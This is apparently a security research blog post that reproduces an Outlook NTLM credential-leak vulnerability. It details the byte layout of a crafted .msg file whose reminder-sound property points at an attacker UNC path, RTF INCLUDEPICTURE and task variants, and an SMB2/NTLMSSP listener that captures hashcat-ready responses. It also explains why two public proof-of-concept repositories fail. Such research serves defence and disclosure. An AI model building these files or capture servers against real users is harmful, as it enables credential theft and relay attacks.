Challenge to the reader: A .msg file contains a stream named __substg1.0_851F001F and nothing else that maps names to property IDs. Before reading on, decide whether Outlook can know that this stream holds the reminder-sound path. Then name the two 8-byte records a valid file needs before that name resolves to a value stream. Section 5.3 answers the second part, and Section 4.1 shows why a public PoC in wide circulation fails both.

Research note. 13 November 2026. Linux lab. The Outlook client-side behavior is not verified in this lab. Section 9 explains what is missing and how to test it.

Contents

  1. Summary
  2. The advisory record
  3. How the authentication leak works
  4. The public PoCs and why they fail
  5. What a valid .msg file needs
  6. Building the attacker side
  7. Bugs and dead ends in the build
  8. What the lab verified
  9. What the lab could not verify
  10. How the attack works in the real world
  11. Defenses and detection
  12. What this shows about AI-assisted research and public PoCs
  13. Appendix: glossary, timeline, lab files, sources

The diagrams are inline SVG so they render on this blog. Each one labels the objects and transitions described in the text.


1. Summary

CVE-2026-124194 is a Microsoft Outlook vulnerability that Microsoft classifies as a spoofing issue. An attacker sends a crafted message file. The user opens it. Outlook contacts an attacker-controlled network location without showing the external-content warning that normally appears before such a connection. Windows then performs NTLM authentication to that location, and the attacker captures the user’s NetNTLMv2 challenge-response. That material can be cracked offline or relayed to another service.

The advisory describes the effect. It does not name the MAPI property, the code path, or the exact message construct. Two public GitHub repositories claim to contain a PoC. Neither produces a working exploit. One writes a real compound file that contains an invalid Outlook message. The other writes a file that is not a compound file at all.

This project rebuilt the artifact from the file-format specifications. It produced:

  • A structurally valid Outlook .msg with a named reminder property that points at a UNC path.
  • Two alternative trigger variants: a task item and an RTF body with INCLUDEPICTURE.
  • An SMB2 server that speaks enough NTLMSSP to challenge a client and capture the Type3 response.
  • A verifier that parses the message independently and cross-checks it with a second parser.
  • A validator that recomputes the NTLMv2 proof against a known password.

What was verified:

Layer Result Evidence
CFB/OLE container Pass olefile; file reports CDFV2 Microsoft Outlook Message
MAPI property streams Pass 32-byte header, 16-byte rows, correct size fields
Named-property map Pass Two parsers resolve PidLidReminderFileParameter by name
Appointment, task, RTF variants Pass 17 checks per variant
SMB2 NTLM exchange Pass Samba smbclient and impacket, TCP 445 and unprivileged ports
NetNTLMv2 capture Pass Known password validates; wrong password fails
Outlook warning bypass Not verified Requires Windows and Outlook

The missing piece is the client behavior. A valid message and a working capture server do not prove that Outlook follows the trigger. That requires a Windows lab with a vulnerable build and a fixed build, and the differential test is described in Section 9.


2. The advisory record

The facts below come from the MSRC Security Update Guide API record, the CVE record, and the CERT-FR alert. The press coverage adds context but is not the primary source for the technical fields.

Field Value
Title Microsoft Outlook Spoofing Vulnerability
CWE CWE-356: Product UI does not warn user of unsafe actions
CVSS 3.1 6.5, AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Temporal 6.2, E:H/RL:O/RC:C
Severity Moderate. It was the only Moderate CVE in the November 2026 release.
Exploitation Microsoft: “Exploitation Detected”. Publicly disclosed: No.
KEV CISA added it on 10 November 2026. Federal remediation was due 24 November 2026.
Affected Microsoft 365 Apps for Enterprise, Office LTSC 2021, Office LTSC 2024
Fixed November 2026 M365 channel release; LTSC 2021 16.0.14334.21048; LTSC 2024 16.0.17932.21140
Workaround None published

Microsoft’s FAQ says the attacker sends a crafted message file and persuades the user to open it. The connection can happen “without displaying the usual external-content warning” and may reveal “authentication information usable for impersonation”. The FAQ also says explicitly: “No, the Preview Pane is not an attack vector.” The user must open the file.

The CVSS score is 6.5 because the attack needs user interaction, the scope does not change, and only confidentiality is marked as high. The KEV listing exists because Microsoft confirmed exploitation in the wild. Those two facts are not in conflict. The score measures the immediate technical impact. The KEV listing measures observed use. A captured credential can be more useful than the score suggests, because it can be reused against other services.

Press reports credit researcher “nono” and Anthropic’s Benoît Sevens, with the note that Claude was used in the discovery. Microsoft’s public records do not provide a root-cause analysis or a list of observed attacks. No threat actor was named.

Two parts of the advisory are missing and matter for a reproduction:

  1. The MAPI property or message construct that Outlook dereferences is not named.
  2. The behavior change in the fixed build is described only as the “usual external-content warning”. The exact warning, the exact block, and the code path are not published.

A PoC therefore has to start from the general primitive, not from a disclosed root cause.


3. How the authentication leak works

3.1 The pieces

A UNC path such as \\server\share\sound.wav is a network resource, not a local file. Before Windows can read it, the SMB redirector has to authenticate to the server. The user does not type a password. Windows uses the logged-in account’s credentials and the NTLM or Kerberos exchange.

NTLM is a challenge-response protocol. The server sends a random value. The client uses a key derived from the password to compute a response. The server checks the response. The password itself never crosses the network. That is why the attack leaks authentication material instead of a password.

3.2 The exchange, step by step

  1. The client connects to the SMB server and negotiates the SMB dialect and security package.
  2. The client sends an NTLMSSP Type 1 message. It lists capabilities and the domain and workstation names.
  3. The server sends an NTLMSSP Type 2 message. It contains an 8-byte server challenge, negotiation flags, a target name, and target information. The target information includes the server’s computer name, domain name, DNS names, and a timestamp.
  4. The client computes the NTLMv2 response and sends a Type 3 message. The message contains the domain, user, workstation, and two responses: the LM response, which is normally empty in modern Windows, and the NT response.
  5. The NT response is not a single hash. It is a 16-byte NTProofStr followed by a variable-length blob. The blob contains the client challenge, a timestamp, and the target information from the Type 2 message.
  6. The attacker records the challenge, the proof, and the blob. The server can reject the logon. The capture is already complete.

The arithmetic:

ResponseKeyNT = HMAC-MD5(
    MD4(UTF-16LE(password)),
    UTF-16LE(UPPER(user) + domain)
)

NTProofStr = HMAC-MD5(
    ResponseKeyNT,
    ServerChallenge || blob
)

hashcat -m 5600 format:
user::domain:server_challenge:NTProofStr:blob

The ResponseKeyNT is derived from the password. The wire carries NTProofStr, which is derived from the key and the challenge. An attacker cannot turn NTProofStr back into the key without guessing the password. That is why cracking is one option and not a direct password recovery.

3.3 What the attacker can do with the capture

There are two main uses.

Offline cracking. The attacker guesses passwords, derives the key for each guess, recomputes the proof, and compares. hashcat -m 5600 and John the Ripper both implement this. The cost depends on the password strength and the cracking hardware. A long random password makes this impractical. A common password or a reused one does not.

Relaying. The attacker does not need the password. The attacker forwards the NTLM exchange to another service that accepts NTLM, such as SMB, LDAP, or a certificate service, and lets the victim’s client authenticate to that service. This works only if the target service accepts NTLM and the captured response is valid for that service. SMB signing and LDAP channel binding are the standard defenses against this. The challenge in a relay is live, not replayed from an old capture, because the server challenge changes per session.

The limit is that NetNTLMv2 is not a password hash. It cannot be used directly for pass-the-hash. It is a challenge-response for one session. That distinction matters for both attack and defense.

3.4 Why the missing warning is the vulnerability

Windows authenticating to remote resources is normal behavior. Outlook fetching content named by a message is also normal. The bug is the missing user warning before the fetch. CWE-356 describes exactly this: the UI does not warn before an unsafe action. The user opens a document that looks like an appointment or a note. Outlook resolves a remote resource. The authentication happens automatically. At no point does Outlook ask whether the user wants to contact that host.

The Preview Pane detail matters here. A preview is passive; the user has not opened the item. The advisory says the preview does not trigger the path. That is why the file must be opened. It also gives a simple mitigation for a user: do not open unexpected message files. It is not a fix, because the user may have a reason to open a file that looks relevant.

3.5 The relationship to CVE-2023-23397

CVE-2023-23397 is the closest earlier bug. It abused PidLidReminderFileParameter, a property that names the sound Outlook plays when a reminder becomes overdue. Setting PidLidReminderOverride and PidLidReminderPlaySound made Outlook use the attacker’s path instead of the user’s default sound. The vulnerable code path was the reminder sound playback. The bug was zero-click because reminder processing happened without the user opening the item.

CVE-2026-124194 is not described as zero-click. The advisory requires the user to open the file. The fixed behavior is described as a warning. The same property family is the best-supported candidate, but the two bugs are not the same. The reminder property is the template, not a confirmed root cause. The exact construct is still an inference.

3.6 The chain in one diagram

1. Attacker sends a crafted .msg 2. User opens it in Outlook 3. Outlook resolves the remote UNC path 4. Windows performs SMB NTLM authentication 5. Listener captures the Type3 response Missing external-content warning CWE-356

The warning gap is step 3. The authentication in step 4 is ordinary Windows behavior. The capture in step 5 is what makes the missing warning expensive.


4. The public PoCs and why they fail

A search for the CVE returns two repositories, two Sploitus listings, a CERT-FR alert saying an open-source PoC is available, and a Mallory analysis saying no validated public exploit exists. These claims can coexist when the repositories are indexed but do not work. Both repositories were cloned and read. Neither contains a working exploit.

4.1 AmesianX/CVE-2026-124194-poc

The repository contains a CFB writer, a message generator, an EML wrapper, and an NTLM listener. The README says: “Concept proof only, untested against vulnerable Outlook.” That statement is correct.

The message generator produces a real compound file, but the message inside it is not valid:

  • The __properties_version1.0 stream uses an 8-byte header. A message-level property stream requires a 32-byte header. The header contains reserved fields, the next recipient and attachment IDs, and the recipient and attachment counts. Without it, every property row starts at the wrong offset.
  • String values are written inline in the property rows. In a valid .msg, variable-length values live in separate __substg1.0_PPPPTTTT streams. The property row stores only a size. Inline storage breaks the fixed-size row array and means a parser cannot skip an unknown value.
  • There is no __nameid_version1.0 storage. Named properties have no GUID stream, entry stream, string stream, or CRC streams. Outlook has no way to map the name to the value.
  • The file carries a property tag 0x851F001F and a stream named __substg1.0_851F001F. 0x851F is the LID of PidLidReminderFileParameter, not a property ID assigned by the message store. A named property needs an entry-stream record that maps the GUID and LID to a property ID in the 0x8000 range. The value stream is named after the assigned property ID.
  • There are no appointment properties and no reminder set or reminder time. The item is not a calendar object with an overdue reminder.

The listener has similar problems. It answers with a hand-built SMB1 negotiate response of the form \x00\x00\x00\x2f\xffSMBr.... It does not build an NTLMSSP Type 2 challenge with a target name, target information, or a timestamp. It parses a Type3 message without splitting the NT response into a proof and a blob. Windows 10 and 11 disable the SMB1 client by default, so a modern client may not reach the broken parser at all. There is no valid hashcat line at the end.

4.2 Ghost-Bx1/cve-2026-124194-outlook-ntlm-hash-leak

This repository’s generator writes:

conteudo = b"D0CF11E0A1B11AE1" + b"\x00" * 48 + rtf_dados

That is the eight-byte CFB signature, forty-eight zero bytes, and an RTF string. There is no CFB header, no FAT, no directory, no mini-stream, and no MAPI property stream. A compound-file parser will reject it before it can read a message. Outlook will not open it as an appointment.

The listener is a hard-coded SMB1 negotiate blob with a fixed challenge string. It does not complete an SMB2 session setup, does not send an NTLMSSP Type 2 message, and does not capture a Type3 response. The README describes generation, listening, and hashcat output. The code does not perform those steps.

The one useful idea in the repository is the RTF INCLUDEPICTURE hypothesis. An RTF body with a field pointing at a UNC path could make a renderer fetch a remote resource. That idea is included as the RTF variant in this project. The repository’s implementation does not support the claim.

The difference between a valid message and the two attempts:

Valid .msg AmesianX Ghost-Bx1 CFB header, FAT, directory 32-byte property header nameid map value stream 0x8008001F 8-byte header inline strings no nameid map 0x851F tag, no entry signature + zeros + RTF no FAT or directory not a compound file Outlook parses Outlook rejects or cannot resolve Outlook rejects or cannot resolve

The left path is the structure Outlook needs. The other two paths fail before any trigger can matter.

4.3 The aggregator problem

The CERT-FR alert says a proof of concept is publicly available. Mallory says there is insufficient evidence to validate the exploit. Both statements point at the same two repositories. A listing on Sploitus says “100% confidence this exploit runs” next to code that never builds a challenge. The claim is about the listing, not the code.

This is a common pattern in the first days after a CVE. Search engines and aggregators index repositories quickly. The repositories are often written from the advisory text without a test against the target. A PoC claim should be treated as a URL until the artifact is reproduced.

4.4 What a real PoC must satisfy

A valid reproduction needs four things:

  1. A message file that a real MAPI parser accepts. The container, the property stream, the named-property map, and the value stream all have to be correct.
  2. A property or content construct that a vulnerable Outlook dereferences on open.
  3. A server that speaks the protocol the client will use. Windows 10 and 11 use SMB2 or SMB3 for SMB, and WebDAV over HTTP is a separate path.
  4. A way to prove the captured material is a real challenge-response and not a random string.

The public repositories satisfy none of the four. The rest of this article is about building them.


5. What a valid .msg file needs

5.1 The container

A .msg file is a Microsoft Compound File Binary (CFB) document. It is the same container family as an old .doc or .xls. The structure has four layers:

Layer Purpose
Header 512 bytes. Signature, version, sector size, FAT pointers, mini-stream cutoff, and the first directory sector.
FAT One 32-bit entry per sector. Tells the reader where each sector chain continues.
Directory 128-byte entries. One entry for the root, one per storage or stream. Each entry has a name, type, a red-black sibling tree, a start sector, and a size.
Mini-stream A separate allocation for streams smaller than 4096 bytes. The real bytes live in 64-byte units, and a mini-FAT chains them. The root entry owns the whole mini-stream.

The root storage has the CLSID {00020D0B-0000-0000-C000-000000000046}. That CLSID identifies the file as an Outlook message. The file utility uses it and reports CDFV2 Microsoft Outlook Message. A file with the right eight-byte signature but no valid header, FAT, and directory is not a message.

Small streams are stored in the mini-stream for a reason. A stream that is a few dozen bytes does not need a full 512-byte sector. The mini-stream packs many small streams into a shared allocation. A parser has to follow two different chain formats: regular sectors for large streams and 64-byte units for small ones. A writer that ignores the mini-stream can still produce a file that a liberal parser opens, but it wastes space and may fail a strict parser.

The directory is not a flat list. The siblings under each storage form a red-black tree ordered by name length and then uppercase name. The tree keeps lookup costs logarithmic. A file with a simple linked list may open in one parser and fail in another. This project builds a real red-black tree.

5.2 The property stream

The message-level __properties_version1.0 stream is the core of the message. It starts with a 32-byte header:

  • 8 reserved bytes
  • 4 bytes: next recipient ID
  • 4 bytes: next attachment ID
  • 4 bytes: recipient count
  • 4 bytes: attachment count
  • 8 reserved bytes

After the header comes an array of 16-byte property entries. The entry layout depends on the property type.

Fixed-length properties store the value in the entry:

4 bytes  property tag   (property ID in the high 16 bits, type in the low 16)
4 bytes  flags
8 bytes  value

Variable-length properties store a size and a reserved field. The value lives in a separate stream:

4 bytes  property tag
4 bytes  flags
4 bytes  size
4 bytes  reserved

The value stream is named __substg1.0_ plus the 4-hex property ID and the 4-hex property type. For example, property ID 0x8008 with type 0x001F (Unicode string) uses __substg1.0_8008001F.

The generator writes 0x00000006, the readable-and-writable flags. Outlook may use other flag values. A parser can read the value without interpreting them.

The size rule is easy to get wrong:

  • For a Unicode string, Outlook writes stream length + 2 in the size field. The extra two bytes represent the terminating null character in the logical string. The stream in these generated files contains the UTF-16LE bytes without the terminator.
  • For a binary value, the size equals the stream length.

A parser that trusts the size field and reads exactly that many bytes will over-read a Unicode stream that omits the terminator. A parser that reads to the end of the separate stream does not care. Outlook’s writer follows the +2 convention, so a faithful generator does too.

5.3 The named-property map

This is the part that most hand-written PoCs miss.

MAPI has two kinds of properties:

  • Standard properties have a 16-bit property ID. PidTagSubject is 0x0037. PidTagMessageClass is 0x001A. The ID is the same in every message and every store.
  • Named properties have a property-set GUID and a name. The name can be a 32-bit long ID (a LID) or a string. PidLidReminderFileParameter uses the PSETID_Common GUID and LID 0x851F.

A named property needs a translation layer because the GUID and LID are not a compact array index. Outlook stores the translation in __nameid_version1.0:

Stream Contents
__substg1.0_00020102 GUID stream. The property-set GUIDs, in Windows mixed-endian byte order, each stored once.
__substg1.0_00030102 Entry stream. One 8-byte record per named property.
__substg1.0_00040102 String stream. Names for string-named properties. Empty when every named property uses a LID.
__substg1.0_10XX0102 CRC-derived streams. Outlook writes them as a fast name-to-entry index. They are not required for a basic parse, but a faithful writer includes them.

The entry stream record has three fields:

4 bytes  Name Identifier
         For a numeric named property, this is the LID.
         For a string-named property, this is an offset into the string stream.

2 bytes  GUID index and kind
         bit 0: 0 for numeric, 1 for string
         bits 1-15: index into the GUID stream
         Index 1 is PS_MAPI. Index 2 is PS_PUBLIC_STRINGS.
         The first GUID in the GUID stream is index 3.

2 bytes  Property index
         The assigned property ID is 0x8000 + this value.

Outlook assigns property IDs sequentially in entry order. The first named property gets 0x8000, the second 0x8001, and so on. The LID is the name in the MAPI namespace. The assigned property ID is the local address inside this .msg file. They are different things.

The generated appointment has fifteen named properties. PidLidReminderFileParameter is the ninth one, at index 8. Its property ID is 0x8008. Its value stream is __substg1.0_8008001F, not __substg1.0_851F001F.

The byte-level record for that property is:

NameID      GUID/kind   Property index
1F 85 00 00 06 00       08 00
  • 1F 85 00 00 is little-endian 0x0000851F, the LID.
  • 06 00 is the GUID/kind word. 0x0006 is binary 0000000000000110. The low bit is 0, so the name is numeric. The remaining value is 3, so the GUID is index 3, the first GUID in the GUID stream. In this message that first GUID is PSETID_Common.
  • 08 00 is property index 8, so the property ID is 0x8000 + 8 = 0x8008.

A file that contains only a 0x851F001F stream has no record that connects 0x851F to anything. Outlook cannot know that the stream is the reminder sound. The LID is the name. The property ID is the address. The entry stream is the map.

The CRC streams are a second, faster map. Outlook computes a stream ID from the LID and the GUID index:

streamID = 0x1000 + ((LID XOR (GUIDIndex << 1)) % 0x1F)

The result is the property ID part of a stream named __substg1.0_10XX0102. The stream contains the same 8-byte entry. Different names can produce the same stream ID. When that happens, the stream contains multiple entries. The CRC map is an index, not a source of truth. The entry stream is the source of truth. A writer that includes both matches Outlook’s output and is easier to verify.

Challenge to the reader: The ninth named property is PidLidReminderFileParameter, LID 0x851F, and the first GUID in the GUID stream is PSETID_Common. Write the eight-byte entry-stream record that maps it, compute the assigned property ID, and name the value stream. The byte sequence is above; the point is to see why a file that ships only the LID as a tag cannot work.

5.4 The trigger properties

The generated appointment uses this property set:

Named property LID Type Value
PidLidReminderFileParameter 0x851F PT_UNICODE \\attacker\share\reminder.wav
PidLidReminderOverride 0x851C PT_BOOLEAN TRUE
PidLidReminderPlaySound 0x851E PT_BOOLEAN TRUE
PidLidReminderSet 0x8503 PT_BOOLEAN TRUE
PidLidReminderTime 0x8502 PT_SYSTIME one hour in the past
PidLidReminderSignalTime 0x8560 PT_SYSTIME one hour in the past
PidLidReminderDelta 0x8501 PT_LONG 0

The semantics:

  • ReminderFileParameter names the sound file.
  • ReminderOverride tells Outlook to use that value instead of the user’s configured sound.
  • ReminderPlaySound says to play the sound.
  • ReminderSet turns the reminder on.
  • ReminderTime and SignalTime make the reminder due.
  • ReminderDelta is the interval in minutes. Zero is acceptable for an already-due reminder.

The appointment also carries the standard message properties that make the item openable: message class IPM.Appointment, subject, body, conversation topic, message flags, importance, sensitivity, creation time, modification time, and the store-support mask with STORE_UNICODE_OK. It carries appointment properties for start, end, duration, location, busy status, meeting type, subtype, and state flags.

One type detail differs between two sources. Microsoft’s canonical page for PidLidReminderSet says PT_BOOLEAN. The MsgKit source used by the public CVE-2023-23397 exploit declares it PT_LONG. A Boolean stored as a Long may be ignored by Outlook. This project follows Microsoft and uses a Boolean.

5.5 The three variants

The advisory does not name the construct, so the generator implements three testable versions:

Variant Item class Trigger Local check
appointment IPM.Appointment overdue reminder with a UNC sound path 17/17
task IPM.Task the same reminder properties on a task 17/17
rtf IPM.Note compressed RTF with an INCLUDEPICTURE field pointing at a UNC path 17/17

The appointment variant is the default. It follows the CVE-2023-23397 family and the public reporting.

The task variant uses the same reminder properties but a different item class. Tasks also have reminders. A task that is marked complete does not show a reminder, so the status is “not started”. The first version of the task variant set the status to complete and would not have triggered anything even on a vulnerable client.

The RTF variant is the weakest hypothesis. It stores an RTF body with:

{\field{\*\fldinst INCLUDEPICTURE "\\attacker\share\image.png" \\d \\*MERGEFORMAT}
{\fldrslt image}}

Outlook stores the body in PidTagRtfCompressed (0x1009, PT_BINARY). The RTF has to be compressed with the MS-OXRTFCP LZFu scheme. The file can be valid and still produce no network request, because RichEdit-based message rendering may not evaluate INCLUDEPICTURE at all. The variant exists so a Windows test can rule it in or out.

5.6 Why the file is accepted

A custom verifier parses the file without trusting the generator. It checks:

  1. The CFB signature.
  2. The root storage CLSID.
  3. The presence and length of __properties_version1.0.
  4. The 32-byte header and the 16-byte row alignment.
  5. The presence of the GUID, entry, and string streams.
  6. That every GUID index is in range.
  7. That the numbered entries are consecutive from 0x8000.
  8. That the CRC streams exist and contain the matching entries.
  9. That every entry has a property row.
  10. That every named property row has an entry.
  11. That every variable-length value stream exists.
  12. That the size fields match the stream lengths, including the Unicode +2 rule.
  13. The message class.
  14. The presence of a supported trigger.
  15. The exact UNC value.
  16. That extract-msg opens the file and identifies the message class.
  17. That extract-msg resolves PidLidReminderFileParameter by name.

The external file utility reports CDFV2 Microsoft Outlook Message. The extract-msg library is a second implementation of MS-OXMSG. It resolves the property by name, which means it read the entry stream, followed the GUID index, found PSETID_Common, matched the LID, and read the value stream. If the mapping were wrong in the way the public PoC is wrong, this check would fail.

5.7 The file tree and the mapping, as diagrams

Root Entry CLSID 00020D0B-0000-0000-C000-000000000046 __properties_version1.0 32-byte header, 16-byte rows __substg1.0_8008001F the UNC value __nameid_version1.0 named-property storage GUID stream __substg1.0_00020102 entry stream __substg1.0_00030102 string stream (empty) __substg1.0_00040102 CRC name streams __substg1.0_10XX0102 PidLidReminderFileParameter PSETID_Common, LID 0x851F GUID stream index 3 = PSETID_Common Entry stream record 1F 85 00 00 · 06 00 · 08 00 Assigned property ID 0x8008 Value stream __substg1.0_8008001F Value: UNC path \\attacker\share\reminder.wav GUID index 3 nameid record property index 8 names the stream

The first diagram shows where the data lives. The second shows how Outlook gets from the name to the data. The LID and the property ID are separate values, and the entry stream connects them.


6. Building the attacker side

6.1 Why SMB2

Windows 10 and 11 disable the SMB1 client by default. Samba’s client negotiates SMB2 or SMB3 by default. A listener that only speaks SMB1 will not complete a session setup with a modern client. The listener in this project starts with an SMB2 NEGOTIATE, selects dialect 2.0.2, and handles the session setup messages.

SMB2 uses a 64-byte header. The header has a protocol ID, a command, a status, flags, a message ID, a tree ID, a session ID, and a signature field. The listener only needs six messages:

  1. NEGOTIATE
  2. NEGOTIATE response
  3. SESSION_SETUP with an NTLMSSP Type 1
  4. SESSION_SETUP response with a Type 2 and STATUS_MORE_PROCESSING_REQUIRED
  5. SESSION_SETUP with a Type 3
  6. SESSION_SETUP response with STATUS_LOGON_FAILURE

The session setup security blob is not raw NTLMSSP. It is a SPNEGO token that contains NTLMSSP. The server has to wrap the token correctly.

6.2 SPNEGO

SPNEGO is a negotiation protocol. It lets a client and server agree on one authentication mechanism from a list. SMB2 uses it even when both sides know they will use NTLMSSP.

There are two structures:

  • NegTokenInit is sent by the side offering mechanisms.
  • NegTokenResp is sent by the side responding.

The first listener sent a bare NegTokenInit. Samba rejected it with Invalid SPNEGO request. The token has to be wrapped in a GSS-API InitialContextToken:

[APPLICATION 0]                      0x60
  OBJECT IDENTIFIER 1.3.6.1.5.5.2      SPNEGO
  [0]                                  negTokenInit choice
    SEQUENCE
      [0]                              mechTypes
        SEQUENCE OF OBJECT IDENTIFIER  NTLMSSP OID 1.3.6.1.4.1.311.2.2.10

Two tags control the parse: the outer [APPLICATION 0] tag and the [0] choice tag around the NegTokenInit. The second listener added the GSS-API wrapper but still had the wrong NegTokenResp layout. The response needs:

[1]                                    negTokenResp choice
  SEQUENCE
    [0] negState                       accept-incomplete (1)
    [1] supportedMech                  NTLMSSP OID
    [2] responseToken                  OCTET STRING containing the NTLM Type 2

The first version used [1], [2], and [3] for the three fields and omitted the outer [1] choice. The fix was to compare the output byte for byte with impacket’s SPNEGO_NegTokenInit and SPNEGO_NegTokenResp encoders. After the fix, the bytes matched exactly.

This is a good example of a failure that looks like a security problem and is actually an encoding problem. The client did not reject NTLM. It rejected the ASN.1 wrapper.

Challenge to the reader: Your listener sends a valid NTLMSSP Type 2 message, but Samba reports Invalid SPNEGO request. Name the two ASN.1 layers a bare NegTokenInit is missing. Both are named above; Section 7 lists the same failure as a table row.

6.3 The NTLM Type 2

The Type 2 message has a fixed header and a variable payload:

0   8 bytes   "NTLMSSP\0"
8   4 bytes   message type = 2
12  8 bytes   target name fields (length, max length, offset)
20  4 bytes   negotiation flags
24  8 bytes   server challenge
32  8 bytes   reserved
40  8 bytes   target info fields (length, max length, offset)
48  8 bytes   version (optional)
... target name
... target info AV pairs

The first implementation set the fixed-header length to 64 instead of 56. An internal assertion failed in the connection thread, and the client saw NT_STATUS_CONNECTION_DISCONNECTED. The fix was the correct 48 + 8 = 56 byte header.

The flags in this project are:

  • NTLMSSP_NEGOTIATE_UNICODE
  • NTLMSSP_REQUEST_TARGET
  • NTLMSSP_NEGOTIATE_NTLM
  • NTLMSSP_NEGOTIATE_ALWAYS_SIGN
  • NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
  • NTLMSSP_NEGOTIATE_TARGET_INFO
  • NTLMSSP_NEGOTIATE_VERSION
  • NTLMSSP_NEGOTIATE_128
  • NTLMSSP_NEGOTIATE_56

The target info list contains:

  • MsvAvNbComputerName: the server name.
  • MsvAvNbDomainName: the domain.
  • MsvAvDnsComputerName: the DNS name.
  • MsvAvDnsDomainName: the DNS domain.
  • MsvAvTimestamp: the current time.
  • MsvAvEOL: the end marker.

The target info matters for two reasons. It helps the client choose NTLMv2, and it becomes part of the blob the client signs. A Type 2 with no target info may produce a different response or a client may refuse. The timestamp is also used in the client’s response.

The server challenge is eight random bytes per connection. It is not reused. A captured proof is tied to the challenge it was computed over.

6.4 The Type 3

The Type 3 parser reads the domain, user, workstation, LM response, and NT response. The NT response for NTLMv2 is split into a 16-byte NTProofStr and the remaining blob. The hashcat line is:

user::domain:server_challenge:NTProofStr:blob

The listener writes three files:

  • A .hashes.txt file with one hashcat line per capture.
  • A .jsonl file with the full record, including the raw Type 3 bytes and the target info.
  • A .raw file with the raw Type 3 hex.

The listener returns STATUS_LOGON_FAILURE after the capture. It never creates a session, never relays, and never cracks. The value of the lab is proving that the attacker side can capture valid material, not building a weapon.

6.5 The exchange as a diagram

Windows client SMB2 listener NEGOTIATE, SMB 2.0.2 NEGOTIATE response, SPNEGO offering NTLMSSP SESSION_SETUP, SPNEGO wrapping NTLMSSP Type 1 MORE_PROCESSING_REQUIRED, Type 2 challenge and target info SESSION_SETUP, Type 3 with NTProofStr and blob LOGON_FAILURE The hash line is written before the failure.

The capture happens on the server when the Type 3 arrives. The failure response is only a way to end the exchange.


7. Bugs and dead ends in the build

The successful path is short. Finding it took a list of failures. These are the ones another implementer is likely to hit.

Symptom Root cause Fix
Samba: Invalid SPNEGO request Bare NegTokenInit, missing GSS-API wrapper and [0] choice tag Add the [APPLICATION 0], SPNEGO OID, [0], and SEQUENCE layers
Session setup fails after the challenge NegTokenResp used the wrong tags and omitted the outer [1] choice Use [1], SEQUENCE, [0], [1], [2] in the right order
Client drops with CONNECTION_DISCONNECTED NTLM Type 2 header length was 64 instead of 56 48-byte fixed header plus 8-byte version
extract-msg: incorrect sector index for empty stream Zero-length streams used start sector 0 Use ENDOFCHAIN, as Outlook does
Generator rejects LID 0x0026 Assumed all LIDs are at least 0x8000 LIDs are arbitrary 32-bit names; only assigned property IDs start at 0x8000
Task variant does not remind Task status was set to complete Set not started; completed tasks suppress reminders
Hash validation fails the same way for every password Hand-written MD4 fallback had a register-rotation bug Rewrite with the RFC 1320 rounds; test known vectors
RTF path not found by the verifier The RTF field instruction escaped its quotes as \" Allow the optional escape and strip it before comparing
Capture message missing from the log os._exit ran before stdout flushed Flush stdout and stderr before exiting
Listener will not bind A previous test process held the port Kill by port or PID; the runner waits and cleans up
Listener on port 445 needs root Ports below 1024 are privileged Run with sudo, or use a port above 1024 for the local demo

Four of these need more detail.

The SPNEGO wrappers. The first failure looked like Samba did not support NTLM. It did. Samba rejected the token because the ASN.1 structure did not match RFC 4178. The error text named the problem: “Invalid SPNEGO request”. The fix changed bytes in the token, not a server setting. The second failure, the response tags, produced a session setup failure after the challenge. The client had accepted the negotiate response but could not parse the server’s response token. Both failures were found by comparing with a reference encoder, not by guessing.

The Type 2 header length. The code built the message correctly but set an internal fixed length to 64. The assertion that checked the message length failed in the connection thread. The thread died, the socket closed, and the client reported a disconnect. There was no protocol error on the wire because nothing was sent. The fix was arithmetic: 48 bytes of fixed header plus 8 bytes of version equals 56, not 64.

The MD4 fallback. The validator recomputed a proof for the correct password and for a wrong password and produced the same value. A correct NTLMv2 implementation cannot do that. The bug was a hand-written MD4 with the wrong register rotation. The lesson is to test a cryptographic primitive against published vectors before trusting any output that looks like a hash. The fallback now passes the empty-string and abc MD4 vectors and the MS-NLMP NTOWFv2 vector.

The zero-length stream. The CFB writer used start sector 0 for empty streams. olefile accepted the file. extract-msg rejected it with “incorrect OLE sector index for empty stream”. Real Outlook messages use ENDOFCHAIN for an empty stream. A format detail that one parser ignores can be a hard error in another. The real sample files in the extract-msg project were the source of truth.


8. What the lab verified

8.1 The message

The message passed 17 checks with two parsers:

  • olefile parses the CFB container.
  • The custom verifier walks the property and nameid streams.
  • extract-msg opens the message and resolves PidLidReminderFileParameter by name.
  • file identifies the container as CDFV2 Microsoft Outlook Message.

The verifier output included:

[PASS] CFB signature
[PASS] root storage CLSID is Outlook MSG
[PASS] property stream header/rows are 32 + 16*n
[PASS] nameid substreams present
[PASS] numbered nameid entries are consecutive from 0x8000
[PASS] CRC/name mapping streams present and consistent
[PASS] every nameid entry has a property row
[PASS] every named property row has a nameid entry
[PASS] value streams exist and size fields match
[PASS] message class present (IPM.Appointment)
[PASS] reminder UNC matches expected value
[PASS] extract-msg resolves PidLidReminderFileParameter
RESULT: PASS

The property table showed the mapping:

8008001F  PID 0x8008  PT_UNICODE  LID 0x851F  PidLidReminderFileParameter  \\127.0.0.1\share\reminder.wav
8009000B  PID 0x8009  PT_BOOLEAN  LID 0x851C  PidLidReminderOverride       True
800A000B  PID 0x800A  PT_BOOLEAN  LID 0x851E  PidLidReminderPlaySound      True
800B000B  PID 0x800B  PT_BOOLEAN  LID 0x8503  PidLidReminderSet            True
800C0040  PID 0x800C  PT_SYSTIME  LID 0x8502  PidLidReminderTime           overdue
800D0040  PID 0x800D  PT_SYSTIME  LID 0x8560  PidLidReminderSignalTime     overdue
800E0003  PID 0x800E  PT_LONG     LID 0x8501  PidLidReminderDelta          0

8.2 The capture

The SMB listener was tested with two independent client stacks:

  • Samba smbclient 4.19, on TCP 445 and on unprivileged ports.
  • impacket 0.13.1’s SMBConnection, on an unprivileged port.

Both clients negotiated SMB2, received the Type 2, and sent a Type 3. The listener wrote a hashcat line. One line, truncated:

victim::WORKGROUP:ee823fabac90a52a:57e16494fd4a209f199652adea114319:0101000000000000...

Two client stacks matter because a listener and a client written by the same person can share the same misunderstanding. Samba and impacket are separate implementations. Both produced a response the listener could parse.

8.3 The cryptographic check

A hashcat line that has the right shape can still be nonsense. The validator takes the captured challenge, proof, and blob, derives the NTLMv2 key from a known lab password, recomputes the proof, and compares. The test uses Password123, a disposable lab password.

The results:

  • With Password123, the recomputed proof matches the captured proof.
  • With WrongPassword, the proofs differ.

